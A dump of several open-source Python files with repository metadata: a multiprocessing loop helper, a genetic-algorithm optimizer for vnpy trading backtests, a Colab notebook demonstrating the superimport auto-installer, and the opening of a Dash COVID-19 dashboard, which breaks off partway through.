"max_issues_repo_issues_event_max_datetime": "2022-03-30T12:14:55.000Z", "max_forks_repo_path": "Python/tigre/utilities/visualization/plotproj.py", "max_forks_repo_name": "tsadakane/TIGRE", "max_forks_repo_head_hexsha": "a853cd2d4a6bc9509c01414b85ca75b4448fd700", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 157, "max_forks_repo_forks_event_min_datetime": "2016-08-08T12:13:09.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-17T00:37:45.000Z", "avg_line_length": 32.9756097561, "max_line_length": 93, "alphanum_fraction": 0.4638806706, "include": true, "reason": "import numpy", "num_tokens": 1903, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.12765261868437058, "lm_q1q2_score": 0.0573661466068947}}
{"text": "\"\"\"\nThis module contains some tools to perform parallel procedures using the python\nmultiprocessing package\n\n\"\"\"\nimport multiprocessing as mp, time as tm\nimport numpy as np\nfrom datetime import timedelta\n\ndef loop(func, pars, *args, ntasks = 4, verbose = True, **kwargs):\n    \"\"\"\n    Perform a parallel loop over the values of the pars array and compute the\n    values of the function func, using ntasks parallel processes\n\n    Args:\n        func (function) : a function that returns a value for each element of pars\n        pars (:py:class:`array`) : array with the values iterate by the loop\n        ntask (:py:class:`int`) : number of parallel tasks\n        verbose (:py:class:`bool`) : determine the amount of information provided on terminal\n        args, kwargs : arguments and keyword arguments passed to func\n\n     \"\"\"\n    def func_loop(func,pars_subset,task,output,*args,**kwargs):\n        \"\"\"\n        Evaluate the function func for all the values inside a single task.\n        Add the dictionary with the results of the task to the queue of the multiprocess\n\n        \"\"\"\n        results = []\n        for p in pars_subset:\n            results.append(func(p,*args,**kwargs))\n        output.put({task:np.array(results)})\n\n    pars_split = np.array_split(pars,ntasks)\n    if verbose : print('Run a parallel loop with %s tasks...'%ntasks)\n    t0 = tm.time()\n    output = mp.Queue()\n    tasks = [mp.Process(target=func_loop, args=(func,pars_split[task],task,output,*args,), kwargs=kwargs) for task in range(ntasks)]\n    for p in tasks:\n        p.start()\n    results_dict = {}\n    for p in tasks:\n        results_dict.update(output.get())\n    results = np.concatenate([results_dict[i] for i in range(ntasks)])\n    if verbose :\n        deltaTime = int(tm.time()-t0)\n        dT_str = \"{:0>8}\".format(str(timedelta(seconds=deltaTime)))\n        print('Loop executed in',dT_str)\n    return results\n", "meta": {"hexsha": "4b15b9da42128bb6b43694a9609ab595adc140db", "size": 1896, "ext": "py", "lang": "Python", "max_stars_repo_path": "mppi/Utilities/Parallel.py", "max_stars_repo_name": "marcodalessandro76/MPPI", "max_stars_repo_head_hexsha": "ad60b73270b1f376ac501d47285146f1c3af457a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-05-04T09:26:36.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-04T09:26:36.000Z", "max_issues_repo_path": "mppi/Utilities/Parallel.py", "max_issues_repo_name": "marcodalessandro76/MPPI", "max_issues_repo_head_hexsha": "ad60b73270b1f376ac501d47285146f1c3af457a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mppi/Utilities/Parallel.py", "max_forks_repo_name": "marcodalessandro76/MPPI", "max_forks_repo_head_hexsha": "ad60b73270b1f376ac501d47285146f1c3af457a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.92, "max_line_length": 132, "alphanum_fraction": 0.6613924051, "include": true, "reason": "import numpy", "num_tokens": 437, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.11920292045759122, "lm_q1q2_score": 0.057274461640913245}}
{"text": "# encoding: UTF-8\r\n\r\n'''\r\n\u672c\u6587\u4ef6\u4e2d\u5305\u542b\u7684\u662f\u9057\u4f20\u7b97\u6cd5\u53c2\u6570\u4f18\u5316\u5668\u7684\u5b9e\u73b0\r\n\u534e\u5bcc\u8d44\u4ea7 \u674e\u6765\u4f73\r\n'''\r\n\r\n\r\nfrom typing import Callable, List\r\nfrom itertools import product\r\nfrom functools import lru_cache\r\nfrom time import time\r\nfrom datetime import  datetime\r\nimport multiprocessing\r\nimport random\r\nimport traceback\r\nfrom copy import copy, deepcopy\r\nfrom uuid import uuid1\r\nimport logging\r\nimport os\r\nimport numpy as np\r\n\r\n# deap\u662f\u9057\u4f20\u7b97\u6cd5\u7684\u5b9e\u73b0\u5de5\u5177\r\nfrom deap import creator, base, tools, algorithms\r\n\r\nfrom vnpy.app.cta_strategy_pro.portfolio_testing import PortfolioTestingEngine\r\nfrom vnpy.trader.util_logger import setup_logger\r\n\r\nclass OptimizationSetting:\r\n    \"\"\"\r\n    Setting for runnning optimization.\r\n    \u8bbe\u7f6e\u53c2\u6570\u4f18\u5316\r\n    \"\"\"\r\n\r\n    def __init__(self):\r\n        \"\"\"\"\"\"\r\n        self.params = {}\r\n        self.target_name = \"\"\r\n\r\n    def add_parameter(\r\n            self, name: str,\r\n            start: float,\r\n            end: float = None,\r\n            step: float = None\r\n    ):\r\n        \"\"\"\u6dfb\u52a0int/float\u7c7b\u578b\u53c2\u6570\u4f18\u5316\"\"\"\r\n        if not end and not step:\r\n            self.params[name] = [start]\r\n            return\r\n\r\n        if start >= end:\r\n            print(\"\u53c2\u6570\u4f18\u5316\u8d77\u59cb\u70b9\u5fc5\u987b\u5c0f\u4e8e\u7ec8\u6b62\u70b9\")\r\n            return\r\n\r\n        if step <= 0:\r\n            print(\"\u53c2\u6570\u4f18\u5316\u6b65\u8fdb\u5fc5\u987b\u5927\u4e8e0\")\r\n            return\r\n\r\n        value = start\r\n        value_list = []\r\n\r\n        while value <= end:\r\n            value_list.append(value)\r\n            value += step\r\n\r\n        # win: [20,22,24]\r\n        self.params[name] = value_list\r\n\r\n    def add_parameters(self,\r\n                       name: str,\r\n                       values: List = []):\r\n        \"\"\"\u6dfb\u52a0\u53c2\u6570\u6e05\u5355\"\"\"\r\n        self.params[name] = values\r\n\r\n    def set_target(self, target_name: str):\r\n        \"\"\"\"\"\"\r\n        self.target_name = target_name\r\n\r\n    def generate_setting(self) -> List:\r\n        \"\"\"\"\"\"\r\n        keys = self.params.keys()\r\n        values = self.params.values()\r\n        products = list(product(*values))\r\n\r\n        settings = []\r\n        for p in products:\r\n            setting = dict(zip(keys, p))\r\n            settings.append(setting)\r\n\r\n        return settings\r\n\r\n    def generate_setting_ga(self):\r\n        \"\"\"\"\"\"\r\n        settings_ga = []  # [ [(key1:value1), (key2:value2)], [],,,]\r\n        settings = self.generate_setting()\r\n        for d in settings:\r\n            # dict => [(key1:value1), (key2:value2)]\r\n            param = [tuple(i) for i in d.items()]\r\n            settings_ga.append(param)\r\n        return settings_ga\r\n\r\n\r\nclass GeneticOptimize(object):\r\n    \"\"\"\r\n    \u9057\u4f20\u7b97\u6cd5\u4f18\u5316\u5668\r\n    \"\"\"\r\n    def __init__(self):\r\n\r\n        self.s = OptimizationSetting()  # \u53c2\u6570\u751f\u6210\u5668\r\n        self.be = PortfolioTestingEngine()  # (\u7ec4\u5408)\u56de\u6d4b\u5f15\u64ce\r\n\r\n        self.settings_for_ga = []  # \u4f9b\u9057\u4f20\u7b97\u6cd5\u8fdb\u884c\u4f18\u5316\u7684\u53c2\u6570\u5217\u8868\r\n        self.settings_for_env = {}  # \u4f9b\u56de\u6d4b\u4f7f\u7528\u7684\u53c2\u6570\u914d\u7f6e\uff0c\u5982\u5408\u7ea6\u3001\u8d44\u91d1\u8d26\u53f7\u3001\u56de\u6d4b\u65f6\u95f4\u7b49\r\n        self.settings_for_strategies = {}  # cta_strategy_settings\uff0c dict\u683c\u5f0f\uff1a{ \"strategy_instance_name\": {\u7b56\u7565\u914d\u7f6e}}\r\n\r\n        self.target_names = []  # \u56de\u6d4b\u7ed3\u679c\u76ee\u6807\u503c\u540d\u79f0\u5217\u8868\uff0c\u5982\u6700\u5927\u5316\u6536\u76ca\u56de\u64a4\u6bd4\uff0c\u6700\u5927\u5316\u590f\u666e\u6bd4\u7387\r\n        self.logger = None\r\n\r\n    creator.create(\"FitnessMulti\", base.Fitness, weights=(1.0, 1.0))\r\n    creator.create(\"Individual\", list, fitness=creator.FitnessMulti)\r\n\r\n    def write_log(self,msg: str, level: int = logging.DEBUG):\r\n\r\n        if self.logger:\r\n            self.logger.log(msg=msg, level=level)\r\n\r\n    def init_setting(self,\r\n                     test_settings,\r\n                     strategy_settings,\r\n                     target_names):\r\n\r\n        # \u56de\u6d4b\u5f15\u64ce\u6240\u9700\u7684\u6240\u6709\u57fa\u672c\u914d\u7f6e\r\n        self.settings_for_env = deepcopy(test_settings)\r\n\r\n        if not self.logger:\r\n            logs_folder = os.path.abspath(os.path.join(os.getcwd(), 'log'))\r\n            filename = os.path.abspath(os.path.join(logs_folder, '{}'.format(test_settings['name'])))\r\n            self.logger = setup_logger(file_name=filename,\r\n                                       name=\"go_{}\".format(datetime.now().strftime(\"%Y%m%d_%H%M%S\")),\r\n                                       log_level=logging.DEBUG,\r\n                                       backtesing=True)\r\n\r\n        # \u56de\u6d4b\u5b9e\u4f8b\u53ca\u914d\u7f6e\r\n        self.settings_for_strategies = deepcopy(strategy_settings)\r\n\r\n        # \u4f18\u5316\u7684\u76ee\u6807\u503c\u6e05\u5355\r\n        self.target_names = deepcopy(target_names)\r\n\r\n        return self.settings_for_env\r\n\r\n    def add_parameter(self, name, start, end, step):\r\n        \"\"\"\r\n        \u6dfb\u52a0\u53c2\u6570\r\n        :param name: \u53c2\u6570\u540d\u79f0\r\n        :param start: \u5f00\u59cb\u6570\u5b57\r\n        :param end: \u7ed3\u675f\u6570\u5b57\r\n        :param step: \u6b65\u8fdb\r\n        :return:\r\n        \"\"\"\r\n        self.s.add_parameter(name, start, end, step)\r\n\r\n    def add_parameters(self, name, values):\r\n        \"\"\"\r\n        \u6dfb\u52a0\u53c2\u6570\r\n        :param name: \u53c2\u6570\u540d\r\n        :param values: \u53c2\u6570\u503c\u5217\u8868\r\n        :return:\r\n        \"\"\"\r\n        self.s.add_parameters(name, deepcopy(values))\r\n\r\n    def generate_setting_for_ga(self):\r\n        \"\"\"\r\n        \u4ea7\u751f\u9057\u4f20\u7b97\u6cd5\u7684\u53c2\u6570\u5217\u8868\r\n        :return:\r\n        \"\"\"\r\n        settings = self.s.generate_setting()\r\n        for d in settings:\r\n            param = [tuple(i) for i in d.items()]\r\n            self.settings_for_ga.append(param)\r\n        return self.settings_for_ga\r\n\r\n    def generate_parameter(self):\r\n        \"\"\"\"\"\"\r\n        return random.choice(self.settings_for_ga)\r\n\r\n    def mutArrayGroup(self, individual, indpb):\r\n        size = len(individual)\r\n        paralist = self.generate_parameter()\r\n        for i in range(size):\r\n            if random.random() < indpb:\r\n                individual[i] = paralist[i]\r\n        return individual,\r\n\r\n    def object_func(self, strategy_avg):\r\n        \"\"\"\r\n        \u9057\u4f20\u4f18\u5316\u7684\u76ee\u6807\u6267\u884c\u51fd\u6570\r\n        :param strategy_avg:\r\n        :return:\r\n        \"\"\"\r\n        return self._object_func(tuple(strategy_avg))\r\n\r\n    def optimize(self):\r\n        \"\"\"\r\n        \u8fd0\u884c\u4f18\u5316\r\n        :return:\r\n        \"\"\"\r\n        start = time()\r\n        toolbox = base.Toolbox()\r\n\r\n        # \u4f7f\u7528\u591a\u8fdb\u7a0b\r\n        pool = multiprocessing.Pool(multiprocessing.cpu_count())\r\n        toolbox.register(\"map\", pool.map)\r\n        # \u521d\u59cb\u5316\r\n        toolbox.register(\"individual\", tools.initIterate, creator.Individual, self.generate_parameter)\r\n        toolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\r\n        toolbox.register(\"mate\", tools.cxTwoPoint)\r\n        toolbox.register(\"mutate\", self.mutArrayGroup, indpb=1)\r\n        toolbox.register(\"evaluate\", self.object_func)\r\n        toolbox.register(\"select\", tools.selNSGA2)\r\n\r\n        MU = 16\r\n        LAMBDA = 20\r\n        POP = 20\r\n        pop = toolbox.population(POP)\r\n        CXPB, MUTPB, NGEN = 0.95, 0.05, 4\r\n        hof = tools.ParetoFront()\r\n\r\n        stats = tools.Statistics(lambda ind: ind.fitness.values)\r\n        np.set_printoptions(suppress=True)\r\n        stats.register(\"mean\", np.mean, axis=0)\r\n        stats.register(\"std\", np.std, axis=0)\r\n        stats.register(\"min\", np.min, axis=0)\r\n        stats.register(\"max\", np.max, axis=0)\r\n\r\n        self.write_log(\"\u5f00\u59cb\u8fd0\u884c\u9057\u4f20\u7b97\u6cd5\uff0c\u6bcf\u4ee3\u65cf\u7fa4\u603b\u6570\uff1a%s, \u4f18\u826f\u54c1\u79cd\u7b5b\u9009\u4e2a\u6570\uff1a%s\uff0c\u8fed\u4ee3\u6b21\u6570\uff1a%s\uff0c\u4ea4\u53c9\u6982\u7387\uff1a%s\uff0c\u7a81\u53d8\u6982\u7387\uff1a%s\" % (POP, MU, NGEN, CXPB, MUTPB))\r\n        algorithms.eaMuPlusLambda(pop, toolbox, MU, LAMBDA, CXPB, MUTPB, NGEN, stats, halloffame=hof, verbose=True)\r\n        end = time()\r\n        cost = int((end - start))\r\n\r\n        self.write_log(\"\u9057\u4f20\u7b97\u6cd5\u4f18\u5316\u5b8c\u6210\uff0c\u8017\u65f6%s\u79d2\" % (cost))\r\n        self.write_log(\"----------\u8f93\u51fa\u5e15\u7d2f\u6258\u524d\u6cbf\u89e3\u96c6,\u89e3\u96c6\u6570\u91cf%s----------\" % (len(hof)))\r\n        # return hof\r\n        for i in range(len(hof)):\r\n            solution = hof[i]\r\n            self.write_log(solution)\r\n\r\n\r\n    @lru_cache(maxsize=1000000)\r\n    def _object_func(self, strategy_avg):\r\n        \"\"\"\r\n        \u4f7f\u7528\u4e86\u7f13\u5b58\uff0c\u53ef\u4ee5\u51cf\u5c11\u91cd\u590d\u53c2\u6570\u7684\u8fd0\u884c\r\n        :param strategy_avg: \u9009\u53d6\u7684\u7b56\u7565\u53c2\u6570\r\n        :return:\r\n        \"\"\"\r\n        engine = self.be\r\n        self.settings_for_env['name'] = self.settings_for_env['name'] + '_' + str(uuid1())\r\n        engine.prepare_env(self.settings_for_env)\r\n        # \u9009\u53d6\u53c2\u6570 => dict \u7ed3\u6784\r\n        ga_setting = dict(strategy_avg)\r\n        settings_for_strategies = deepcopy(self.settings_for_strategies)\r\n\r\n        # \u7b56\u7565\u5b9e\u4f8b\u540d\r\n        for ins_name in list(settings_for_strategies.keys()):\r\n            # \u7b56\u7565\u5b9e\u4f8b\u914d\u7f6e\r\n            ins_config = settings_for_strategies[ins_name]\r\n            # \u7b56\u7565\u5b9e\u4f8b\u7684\u7b56\u7565\u53c2\u6570\r\n            strategy_setting = ins_config['setting']\r\n            # \u5019\u9009\u53c2\u6570\u503c => \u66f4\u65b0 => \u7b56\u7565\u53c2\u6570\u503c\r\n            for k, v in ga_setting.items():\r\n                if k in strategy_setting:\r\n                    strategy_setting.update({k: v})\r\n            # \u66f4\u65b0\u56de\u6d4b\u5b9e\u4f8b\u914d\u7f6e\r\n            settings_for_strategies.update({ins_name: ins_config})\r\n\r\n        try:\r\n            # \u8fd0\u884c\uff08\u7ec4\u5408\uff09\u56de\u6d4b\r\n            engine.run_portfolio_test(settings_for_strategies)\r\n            # \u56de\u6d4b\u7ed3\u679c\uff0c\u4fdd\u5b58\r\n            result = engine.show_backtesting_result()\r\n\r\n            # \u4fdd\u5b58\u7b56\u7565\u5f97\u5185\u90e8\u6570\u636e\r\n            engine.save_strategy_data()\r\n\r\n            # \u6839\u636etarget_names => (value1, value2)\r\n            return tuple([round(result.get(k, 0), 2) for k in self.target_names])\r\n\r\n        except Exception as ex:\r\n            self.write_log('\u7ec4\u5408\u56de\u6d4b\u5f02\u5e38{}'.format(str(ex)))\r\n            traceback.print_exc()\r\n            engine.save_fail_to_mongo(f'\u56de\u6d4b\u5f02\u5e38{str(ex)}')\r\n            return tuple([0 for k in self.target_names])\r\n\r\n\r\ndef run_go(test_setting: dict, strategy_setting: dict, ga_setting: dict, target_names: List):\r\n    \"\"\"\r\n    \u9057\u4f20\u7b97\u6cd5\u4f18\u5316+\u56de\u6d4b\r\n    : test_setting, \u7ec4\u5408\u56de\u6d4b\u6240\u9700\u7684\u914d\u7f6e\uff0c\u5305\u62ec\u5408\u7ea6\u4fe1\u606f\uff0c\u6570\u636ebar\u4fe1\u606f\uff0c\u56de\u6d4b\u65f6\u95f4\uff0c\u8d44\u91d1\u7b49\u3002\r\n    \uff1astrategy_setting, dict, \u4e00\u4e2a\u6216\u591a\u4e2a\u7b56\u7565\u914d\u7f6e\r\n    : ga_setting,dict, \u4ee3\u4f18\u5316\u53c2\u6570\u7684\u8bbe\u5b9a\uff1a name: (\u5f00\u59cb\u503c\uff0c\u7ed3\u675f\u503c\uff0c\u6b65\u8fdb\uff09, name: [value1, value2,value3,,,]\r\n\r\n    : return \u5b9a\u4e49\u7684\r\n    \"\"\"\r\n    # \u521b\u5efa\u9057\u4f20\u4f18\u5316\u5668\r\n    GO = GeneticOptimize()\r\n\r\n    # \u521d\u59cb\u5316 \u73af\u5883\u53c2\u6570\u3001\u7b56\u7565\u53c2\u6570\uff0c\u4f18\u5316\u76ee\u6807\u6e05\u5355\r\n    GO.init_setting(\r\n        test_settings=test_setting,\r\n        strategy_settings=strategy_setting,\r\n        target_names=target_names\r\n    )\r\n\r\n    # \u6dfb\u52a0\u4ee3\u4f18\u5316\u7684\u53c2\u6570\r\n    for k, v in ga_setting.items():\r\n        if isinstance(v, tuple) and len(v) == 3:\r\n            GO.add_parameter(k, v[0], v[1], v[2])\r\n\r\n        if isinstance(v, list):\r\n            GO.add_parameters(k, v)\r\n\r\n    GO.generate_setting_for_ga()\r\n\r\n    GO.generate_parameter()\r\n\r\n    GO.optimize()\r\n", "meta": {"hexsha": "95d90cda0667718059b9c8c7327478893bc45f25", "size": 9772, "ext": "py", "lang": "Python", "max_stars_repo_path": "vnpy/app/cta_strategy_pro/genetic_optimize.py", "max_stars_repo_name": "garywangiam02/vnpy", "max_stars_repo_head_hexsha": "fbb168bf977d95ae874e92a3655c6c893db16a1f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "vnpy/app/cta_strategy_pro/genetic_optimize.py", "max_issues_repo_name": "garywangiam02/vnpy", "max_issues_repo_head_hexsha": "fbb168bf977d95ae874e92a3655c6c893db16a1f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "vnpy/app/cta_strategy_pro/genetic_optimize.py", "max_forks_repo_name": "garywangiam02/vnpy", "max_forks_repo_head_hexsha": "fbb168bf977d95ae874e92a3655c6c893db16a1f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.9754601227, "max_line_length": 116, "alphanum_fraction": 0.5569995907, "include": true, "reason": "import numpy", "num_tokens": 2586, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.12421300024700382, "lm_q1q2_score": 0.0572642773225936}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.3\n#   kernelspec:\n#     display_name: Python 3\n#     name: python3\n# ---\n\n# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# <a href=\"https://colab.research.google.com/github/probml/probml-notebooks/blob/main/notebooks/Superimport.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>\n\n# + [markdown] id=\"_Qd2diMQZlQL\"\n# # Superimport demo\n#\n# The [superimport library](https://github.com/probml/superimport), written by [Mahmoud Soliman](https://github.com/mjsML), takes care of installing missing python packages for you. All you have to do is type `pip install superimport` (once per colab session), and then add `import superimport` to the top of any of your python files; then, when you run those files, superimport will read the source code, figure out any missing dependencies, install them for you automagically, and then run the rest of your code as usual. We illustrate this below. \n#\n#\n\n# + id=\"1G16DyRzi6kK\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"b5baeea5-861e-4436-d126-0d6275a254b4\"\n# !pip install superimport -qqq\n# !pip install deimport -qqq\n\n# + id=\"iiC72KXh5jae\"\nimport superimport\n\ndef try_deimport():\n  try: \n    from deimport.deimport import deimport\n    deimport(superimport,verbose=False)\n  except Exception as e:\n    print(e)\n\n\n\n# + [markdown] id=\"V_82RC0lahoP\"\n# # An example with PgmPy\n#\n# Colab has most popular ML packages already installed. However, there are a few missing ones, such as [PgmPy](https://github.com/pgmpy/pgmpy). Below we create a short file, called `test.py`, that relies on that missing library. We then show what happens if we try to run the script  without first installing the library. \n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"UuJYZu_1kP1B\" outputId=\"1e0b7fc1-98a6-4d54-a92c-ecc378ea54cb\"\n# %%file test.py\nimport pgmpy\nimport numpy\nimport matplotlib\nprint('pgmpy ', pgmpy.__version__)\n\n# + [markdown] id=\"mkwHEjfwknJt\"\n# Without importing superimport, if you have a missing package your script will fail.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 215} id=\"6T6BDgaRkSdM\" outputId=\"437179d6-4d6b-4f40-d570-1283f5108549\"\n# %run test.py\n\n# + [markdown] id=\"cZd4ITLYa33l\"\n#\n#\n# Now we add one new line to our file: `import superimport`\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"fMPOfeIHi9i3\" outputId=\"b78a00c1-cd7b-41da-9287-cd86ea719b4e\"\n# %%file test.py\nimport superimport\nimport pgmpy\nimport numpy\nimport matplotlib\nprint('pgmpy ', pgmpy.__version__)\n\n\n# + [markdown] id=\"aIFQaI6pkxIL\"\n# We can now successfully the script, and it will install any missing packages.\n#\n#\n# Note, however, that we have to deimport the `superimport` symbol before running any code that uses superimport, to force the package to be reloaded (and hence re-executed), otherwise colab will use the cached version (if available) of superimport, which may be stale. \n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tL4_358-jJD8\" outputId=\"a8fe754e-af56-400a-c663-39695ad4862b\"\ntry_deimport()\n# %run -n test.py\n\n# + [markdown] id=\"-IDlmbuCgDMx\"\n# # An example with NumPyro\n#\n# This time we make a demo that uses numpyro, that is not installed in colab by default.\n\n# + id=\"SuSqhaqEgQ3z\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"682be66a-a277-44e9-b9b9-23c06c9975d1\"\n# %%file test.py\nimport superimport\nimport numpyro\nprint('numpyro version ', numpyro.__version__)\n\n# + id=\"yHihouB-gUJK\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"8787fa90-4332-42fd-da3c-6c4ce3657df0\"\n\ntry_deimport()\n# %run -n test.py\n\n# + [markdown] id=\"KJSga2iNeauy\"\n# # An example with Pyro\n#\n# This time we make a demo that uses pyro, that is not installed in colab by default. Furthermore, its package name (pyro-ppl) does not match its import name (pyro).\n\n# + id=\"Sy7eFOQxfQB6\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"b16bde2c-d2ef-4cb2-9292-e2f99f70a3d9\"\n# %%file test.py\nimport superimport\nimport pyro\nprint('pyro version ', pyro.__version__)\n\n# + id=\"wMgsJq1ieoeH\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"9fb807c0-999f-41b8-aaae-4efdde5fe571\"\n\ntry_deimport()\n# %run -n test.py\n\n# + [markdown] id=\"KFogkyP8gWZ5\"\n# # An example from the book\n\n# + id=\"4DvNikcygYlC\"\n# !git clone --depth 1 https://github.com/probml/pyprobml  /pyprobml &> /dev/null \n# %cd -q /pyprobml/scripts\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 550} id=\"aOl69rgCgvVX\" outputId=\"139d0c93-446e-4c9e-a264-11cd353fa1fe\"\n\ntry_deimport()\n# %run -n linreg_residuals_plot.py\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"HpDO7eE1gz-Y\" outputId=\"3e2299dc-01c9-4738-b301-66a05458d3c5\"\n\ntry_deimport()\n# %run -n linreg_poly_vs_degree.py\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 553} id=\"UnKMPSBOh16k\" outputId=\"5b77a9d2-c1cb-47a3-ea47-c899aea0f19f\"\n\ntry_deimport()\n# %run -n iris_kmeans.py\n\n# + [markdown] id=\"gERNSvUpcru-\"\n# # Sharp edges\n#\n# * There are some packages whose install names differ from their import names  (eg we type `pip install pyro-ppl` but `import pyro`). There is a [public mapping file](https://github.com/bndr/pipreqs/blob/master/pipreqs/mapping) stored by pipreqs. However, this is missing some entries (such as pyro).  These must be manually added to the [mapping2 file](https://github.com/probml/superimport/blob/main/superimport/mapping2). If your favorite package is missing, open a PR on the superimport repo.\n#\n# * There are some packages that do not list of all of their requirements.txt (eg GPyOpt depends on matplotlib, but does not mention this). If this 'hidden requirement' is missing, superimport cannot find it either. If it is not already installed in colab, then your script will fail, even with superimport.\n\n# + id=\"GUWz9Gr-d5SO\"\n\n", "meta": {"hexsha": "1ccf43b462f042e45d65231e25ea29373ef7ccaf", "size": 5965, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks-text-format/Superimport.py", "max_stars_repo_name": "arpitvaghela/probml-notebooks", "max_stars_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 166, "max_stars_repo_stars_event_min_datetime": "2021-07-16T17:33:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T03:35:34.000Z", "max_issues_repo_path": "notebooks-text-format/Superimport.py", "max_issues_repo_name": "arpitvaghela/probml-notebooks", "max_issues_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2021-07-21T16:31:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:50:13.000Z", "max_forks_repo_path": "notebooks-text-format/Superimport.py", "max_forks_repo_name": "arpitvaghela/probml-notebooks", "max_forks_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 48, "max_forks_repo_forks_event_min_datetime": "2021-07-17T08:26:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T03:36:18.000Z", "avg_line_length": 40.8561643836, "max_line_length": 550, "alphanum_fraction": 0.7316010059, "include": true, "reason": "import numpy", "num_tokens": 1977, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.33458942798284697, "lm_q2_score": 0.1710611959045317, "lm_q1q2_score": 0.05723526768775899}}
{"text": "# Build AppViewer\n# from jupyterlab_dash import AppViewer\n# viewer = AppViewer()\n\nfrom utils import get_state_codes, get_state_name, daily_increase, moving_average\nfrom utils import all_states, state_code_dict, state_map_dict, fip_to_county, fip_to_state\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\n\nimport json\nimport numpy as np\nimport pandas as pd\nfrom functools import reduce\nfrom datetime import datetime\nfrom urllib.request import urlopen\n\nimport plotly.graph_objects as go\nimport plotly.express as px\nfrom plotly.subplots import make_subplots\n\nfrom database import fetch_all_db_as_df\n\n# Definitions of constants. This projects uses extra CSS stylesheet at `./assets/style.css`\nCOLORS = ['rgb(67,67,67)', 'rgb(115,115,115)', 'rgb(49,130,189)', 'rgb(189,189,189)']\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css', '/assets/style.css']\ncolors = {\n\"cases\": 'rgba(80, 26, 80, 0.2)',\n\"deaths\": 'rgba(16, 112, 2, 0.2)'\n}\ncolors_bar = {\n\"cases\": 'mediumturquoise',\n\"deaths\": 'tomato'\n}\ncolors_line = {\n    \"cases\": \"mediumturquoise\",\n    \"deaths\": \"tomato\"\n}\ncolors_text = {\n    \"cases\": \"purple\",\n    \"deaths\": \"olivedrab\"\n}\n\nwith urlopen('https://raw.githubusercontent.com/plotly/datasets/master/geojson-counties-fips.json') as response:\n    county_json = json.load(response)\n\n# Define the dash app first\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\ndf_dict = fetch_all_db_as_df()\n\n\n# Define component functions\n\ndef page_header():\n    \"\"\"\n    Returns the page header as a dash `html.Div`\n    \"\"\"\n    return html.Div(id='header', children=[\n        html.Div([html.H3('DATA1050 Final Project')],\n                 className=\"ten columns\"),\n        html.A([html.Img(id='logo', src=app.get_asset_url('github.png'),\n                         style={'height': '35px', 'paddingTop': '7%'}),\n                html.Span('Old boys', style={'fontSize': '2rem', 'height': '35px', 'bottom': 0,\n                                                'paddingLeft': '4px', 'color': '#a3a7b0',\n                                                'textDecoration': 'none'})],\n               className=\"two columns row\",\n               href='https://github.com/cengc13/data1050-final-project'),\n    ], className=\"row\")\n\n\ndef project_description():\n    \"\"\"\n    Returns overall project description in markdown\n    \"\"\"\n    return html.Div(children=[dcc.Markdown('''\n        # US COVID-19 Tracker\n\n        The coronavirus pandemic has caused more than one and half million deaths over the world.\n        The COVID-19 has exhausted the United States, and it seems a dark and deadly winter is waiting ahead.\n        Therefore, it is of crucial 